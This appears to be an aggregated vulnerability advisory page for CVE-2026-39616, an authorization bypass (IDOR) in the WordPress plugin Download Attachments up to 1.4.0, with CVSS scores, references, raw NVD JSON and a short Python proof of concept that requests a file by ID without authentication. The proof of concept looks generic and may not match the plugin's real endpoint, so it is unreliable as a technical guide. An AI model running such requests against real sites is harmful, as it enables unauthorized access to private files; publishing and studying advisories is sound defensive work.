CVE-2026-39616

Description

Authorization Bypass Through User-Controlled Key vulnerability in dFactory Download Attachments download-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Download Attachments: from n/a through <= 1.4.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Download Attachments <= 1.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
# Replace with the actual target domain
target_url = "http://example.com/wp-content/plugins/download-attachments/download.php?id=1"

# Send request without authentication
# Exploiting IDOR by manipulating the 'id' parameter
response = requests.get(target_url)

if response.status_code == 200:
    print("[+] Vulnerability confirmed! File downloaded.")
    print("[+] Content length:", len(response.content))
else:
    print("[-] Target not vulnerable or ID does not exist.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39616
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39616
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39616/
[4] VulDB https://vuldb.com/cve/CVE-2026-39616
[5] https://patchstack.com/database/Wordpress/Plugin/download-attachments/vulnerability/wordpress-download-attachments-plugin-1-4-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39616", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:31.460", "lastModified": "2026-04-29T10:17:31.813", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in dFactory Download Attachments download-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Download Attachments: from n/a through <= 1.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/download-attachments/vulnerability/wordpress-download-attachments-plugin-1-4-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}